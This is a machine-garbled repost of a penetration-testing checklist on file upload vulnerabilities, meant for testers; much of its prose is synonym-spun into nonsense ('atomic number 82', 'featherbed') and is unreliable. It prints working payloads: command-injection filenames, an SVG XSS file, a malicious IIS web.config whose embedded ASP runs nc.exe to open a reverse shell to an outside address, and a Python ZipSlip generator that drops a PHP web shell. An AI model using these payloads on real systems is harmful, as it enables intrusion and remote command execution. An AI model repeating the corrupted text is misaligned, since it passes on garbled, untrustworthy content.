What Parameter Does a File Get Passed Into When Uploaded in Html

File Upload Vulnerability Tricks and Checklist

File uploads are pretty much globally accepted to take ane of the largest attack surfaces in web security, assuasive for such a massive variety of attacks, while also beingness pretty tricky to secure.

The post-obit post is some tips and tricks nosotros try at OnSecurity when testing these features.

Annotation this does not include all checks that should be carried out, for example, context dependent vulnerabilities.

Security Checklist

Are filenames reflected back on the folio? If and then, are they HTML Entity encoded (XSS via file names)?

Does information technology accept .zip files? Try a ZipSlip

If information technology processes an image, check for Prototype Tragick (CVE-2016-3714)

Can yous bypass file type restrictions past irresolute the content-blazon value?

Tin can you bypass file type restrictions by forging valid magic bytes?

Can y'all upload a file with a less-common extension (such equally .phtml)?

Try playing with the filename in the request, a potential vector for traversal or SQL injection.

Check for the acceptance of double extensions on uploaded files.

Test for nix-byte injection.

Is the server windows? Try adding a trailing . to featherbed extension blacklists, this dot will exist removed automatically past the OS.

Can you upload an SVG for XSS?

If supported by the webserver, can you upload .htaccess files?

Does the backend process the image with the PHP GD library?

Is the app vulnerable to the infamous ffmpeg exploit?

Can custom polyglots be adult to bypass specific filters?

Does the app pass the file name to some sort of organization function? If so, can you achieve RCE via lawmaking injection within the file proper noun?

Does the awarding run the uploaded file through exiftool? If so, tin yous get RCE via the djvu exploit?

Tin you bypass extension filters by using varied capitalization?

Tricks

RCE via the file proper name parameter

If the application includes custom image processing / file manipulation, then information technology may exist vulnerable to remote control execution via lawmaking injection in the file proper noun.

Some instance valid file names that could trigger commmand injection are the following:

File Name Payload Outcome If Vulnerable
a$(whoami)z.jpg $(whoami) a[Current USER]z.jpg
a`whoami`z.jpg `whoami` a[Electric current USER]z.jpg
a;sleep xxx;z.jpg ;slumber 30; The awarding volition accept 30+ seconds to reply

Instance Vulnerable Code

Code:

          <?php $variable = "test`whoami`test"; system("echo ".$variable); ?>                  

Output:

          testwww-datatest                  

Exiftool versions 7.44 through 12.23 inclusive are vulnerable to a local control execution vulnerability when processing djvu files. Knowing this, if a spider web application is accepting uploaded files, which are then passed to exiftool, can, in plough, pb to RCE (see reference for an instance).

An example exploit tin can be seen below, with "sample1.djvu" being a random file sample I found online.

References

  • RCE in GitLab due to ExifTool Exploit

Bypassing filters past instance sensitive extensions.

Depending on how the awarding'southward back-end is coded, it may permit for a malicious thespian to bypass certain checks past simply irresolute the capitalization of a file'due south extension.

For example: shell.php Would become shell.pHP

Case's of this can be constitute within the references below.

References

  • Example exploit from WPScan

Magic Byte Forgery

If an application is using a file'south magic bytes to deduce the content-type, for case via PHP's mime_content_type function, we can easily bypass security measures by forging the magic bytes of an allowed file. For example, if GIF images are allowed, we tin forge a GIF image's magic bytes GIF89a to make the server think we are sending it a valid GIF, as seen below.

This can also exist obseved via the GNU file command.

Common useful magic bytes

File Type Magic Bytes
GIF GIF89a;\x0a
PDF %PDF-
JPG / JPEG \xFF\xD8\xFF\xDB
PNG \x89\x50\x4E\x47\x0D\x0A\x1A\x0A
TAR \x75\x73\x74\x61\x72\x00\x30\x30
XML <?xml

Total list of known file magic bytes

Bypassing the PHP GD library

A common mistake developers make is thinking that the PHP GD image processing library helps protect against malicious file uploads, as once the image is processed and compressed, the structure changes, and would scramble any previously valid code.

This misconception, however, leads to a astringent security flaw and assault surface if the following technique is known to the aggressor.

Essentially, to exploit this security flaw, we need to find a office of an epitome which is the same both pre-compression and postal service-compression. Equally seen in the research linked in the references.

Yous can easily recognize if an image is being passed through the PHP GD library by uploading an epitome, downloading said image back from the webserver, can reading the file as text. If it has been compressed through PHP'south GD library, it will most likely appear to take the following information within the header, or something like at the least:

          CREATOR: gd-jpeg v1.0 (using IJG JPEG v62),                  

Annotation that it you find PHP GD being used with a custom "depth" value, it volition greatly increment the difficulty of exploitation, and in some cases, render information technology impossible, for example when the processed image contains the following header:

          JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = l                  

References

  • Bypass PHP GD Processing to RCE past Rick Greyness
  • BookFresh Vulnerability

Uploading a .htaccess file

Blue teamers and developers are commonly quick to blacklist file extensions, but rarely consider how webserver configuration files themselves tin can be exploited. Hence why the .htaccess technique tin can be then unsafe, even leading to RCE.

This file isn't direct an RCE vector, but it does allow for the definition of new valid PHP extensions, which can and then be uploaded to the server (equally they are non blacklisted).

An example .htaccess file that can be used to add a new PHP extension is:

          AddType application/10-httpd-php .evil                  

Note that this attack relies on the following options being enabled, and NGINX does not support .htaccess files.

          /etc/apache2/apache2.conf:      AllowOverride Options /etc/apache2/apache2.conf:      AllowOverride FileInfo                  

Resources

  • https://thibaud-robin.fr/articles/featherbed-filter-upload/

Upload a malicious SVG file for XSS

When applications allow for images to be uploaded, it can seem logical to whitelist SVG files along with other common epitome types, although SVG files can be abused to achieve XSS within the awarding, simply by uploading the following content within a .svg file. This technique is commonly abused by bug compensation hunters in the wild.

                          <?xml version="i.0" standalone="no"?>              <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.ane/DTD/svg11.dtd">              <svg              version=              "one.1"              baseProfile=              "full"              xmlns=              "http://www.w3.org/2000/svg"              >              <rect              width=              "300"              height=              "100"              style=              "fill:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)"              />              <script              type=              "text/javascript"              >              alert("XSS!");              </script>              </svg>                      

Abusing ADS to bypass extension blacklists

As listed by the Open-Source Web Application Security Project (OWASP):

Some other extension blacklist bypass method, is by using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" volition be inserted after a forbidden extension and earlier a permitted one. Every bit a result, an empty file with the forbidden extension volition be created on the server (e.one thousand. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can likewise be used to create non-empty files. Therefore, adding a dot character after this pattern might too be useful to bypass further restrictions (.e.g. "file.asp::$data.").

References

  • OWASP Unrestricted File Upload

Trailing . in Windows

Within Windows, when a file is created with a trailing total-stop, the file is saved WITHOUT said trailing character, leading to potential blacklist bypasses on Windows file uploads.

For example, if an application is rejecting files that end in .aspx, you can upload a file called shell.aspx.. Now this filename will bypass the blacklist, equally .aspx != .aspx., but upon saving the file to the server, Windows will cut out the abaft ., leaving vanquish.aspx, which is a valid Windows vanquish, and can exist used to run ASP .NET lawmaking.

Null Byte (\x00) Injection

To understand this assault, we need to practice some surface level research into what a naught byte is, what it is for, and how it works.

As per Wikipedia:

The nil grapheme is a control character with the value zero. Information technology is present in many character sets, including those defined past the Baudot and ITA2 codes, ISO/IEC 646, the C0 control code, the Universal Coded Character Set, and EBCDIC. Information technology is bachelor in well-nigh all mainstream programming languages.

What is a zip byte for?

A null character is a character with all its $.25 prepare to aught. Therefore, it has a numeric value of nada and can exist used to correspond the terminate of a string of characters, such as a word or phrase. This helps programmers determine the length of strings.

How can this exist exploited?

As previously stated, the goose egg byte character can be used to define string termination, meaning when certain interpreters reach a null-byte within a cord, information technology will expect that to exist the stop of the string, fifty-fifty if there are characters after it. This leads to a whole variety of confusion-based attacks, such equally the following.

Imagine an application blocks certain extensions from being saved onto the server, merely the application takes null-bytes into account when checking the extension, we could submit something forth the lines of shell.jpeg%00.php.

Since the server volition check the cord, but hit the null-byte, information technology volition simply read upwardly to ".jpeg", and laissez passer information technology as valid, although the file would be saved onto the server as beat.jpeg%00.php, which is so accessible to execute commands.

Older versions of PHP have been found to be vulnerable to said attack, for more information, run into here

Web.config File Upload

Within IIS web servers, if the application allows yous to upload files named 'web.config', you tin can achieve a variety of malicious attacks, including XSS, RCE, capricious file downloads and more.

Examples of malicious web.config files are widely available on the internet, although beneath I have included my favourite, from gazcbm on GitHub.

          <?xml version="1.0" encoding="UTF-8"?> <configuration>    <arrangement.webServer>       <handlers accessPolicy="Read, Script, Write">          <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />                </handlers>       <security>          <requestFiltering>             <fileExtensions>                <remove fileExtension=".config" />             </fileExtensions>             <hiddenSegments>                <remove segment="web.config" />             </hiddenSegments>          </requestFiltering>       </security>    </system.webServer> </configuration> <!-- ASP lawmaking comes hither! It should not include HTML comment closing tag and double dashes! <% Response.write("-"&"->") Prepare objShell = CreateObject("WScript.Shell") objShell.Exec("c:\users\test\documents\nc.exe -d x.10.10.x 1337 -e c:\windows\system32\cmd.exe") Response.write("<!-"&"-") %> -->                  

Resources

  • Soroush' web log post on spider web.config uploads

ZipSlip

Cypher Slip is a vulnerability discovered by the Snyk Security Research Team, that exists when a file upload functionality accepts, and extracts nada files without proper security measures in identify. This vulnerability allows for writing to paths exterior the intended upload directory, and in some cases, RCE.

The vulnerability takes advantage of zips that may comprise files with specifically placed payloads fix to the names, that in one case extracted, lead to a path traversal, and tin write any file to any directory the webserver has access to.

For example, nosotros can generate a malicious zipslip file with the script listed below, which and so contains the path traversal file. Upon list the files within the nothing:

This clearly displays the zip file to contain "../../rce.php", which once extracted, will traverse out of a vulnerable application'southward intended directory.

The vulnerability has been found to exist in a diversity of different popular libraries and products, such as, the Fortify Deject Scan Jenkins Plugin, the AWS Toolkit for Eclipse, Apache Maven and more. The total list of vulnerable libraries / products tin can be found here.

A useful video to explain this vulnerability further can exist found on LiveOverflow's YouTube.

Generate malicious Zip Slip file:

                          #!/usr/bin/python              import              zipfile              from              cStringIO              import              StringIO              def              _build_zip():     f              =              StringIO()     z              =              zipfile.ZipFile(f,              'w', zipfile.ZIP_DEFLATED)     z.writestr('../../rce.php',              '<?php system($_GET["cmd"]); ?>')     z.close()     zip              =              open up('rce.zero','wb')     zip.write(f.getvalue())     zip.shut()  _build_zip()                      

Image Tragick CVE-2016-3714

Image Tragick is the name given to an infamous exploit (CVE-2016-3714) in the ImageMagick PHP paradigm processing library. The vulnerability consisted of abusing the misshandling of quotes, to atomic number 82 to a control injection vulnerability, as explained on the previously mentioned website:

ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented equally a organisation() with control string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering information technology is possible to conduct trounce command injection. One of the default delegate's command is used to handle https requests:

          "wget" -q -O "%o" "https:%M"                  

Where %G is the bodily link from the input. Information technology is possible to pass the value similar

          `https://example.com";|ls "-la`                  

And execute unexpected 'ls -la' (wget or curl should be installed).

          $ catechumen 'https://instance.com";|ls "-la' out.png total 32 drwxr-xr-x vi user grouping 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 April thirty x:37 ..                  

Essentially, a malicious file can be provided for processing, and will atomic number 82 to lawmaking execution on the machine, and so if we combine this vulnerability with a remote file upload characteristic inside an paradigm processing awarding, we attain RCE.

This vulnerability has been extensively researched and plenty example exploits can be found online.

FFMPEG exploit and explanation

A similarly infamous exploit tin exist found inside the "FFMEG" software, which leads to local file disclosure. This vulnerability has been exploited in the wild to reach both LFR and SSRF. See examples for more than information.

Examples

  • HackerOne Study
  • LiveOverflow Caption Role 1
  • LiveOverflow Explanation Role 2
  • Burp Upload Scanner
  • Fuxploider (easy to use open source file upload scanner)

Resource

  • PayloadsAllTheThings

jonesalch1986.blogspot.com

Source: https://www.onsecurity.io/blog/file-upload-checklist/

0 Response to "What Parameter Does a File Get Passed Into When Uploaded in Html"

Post a Comment

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel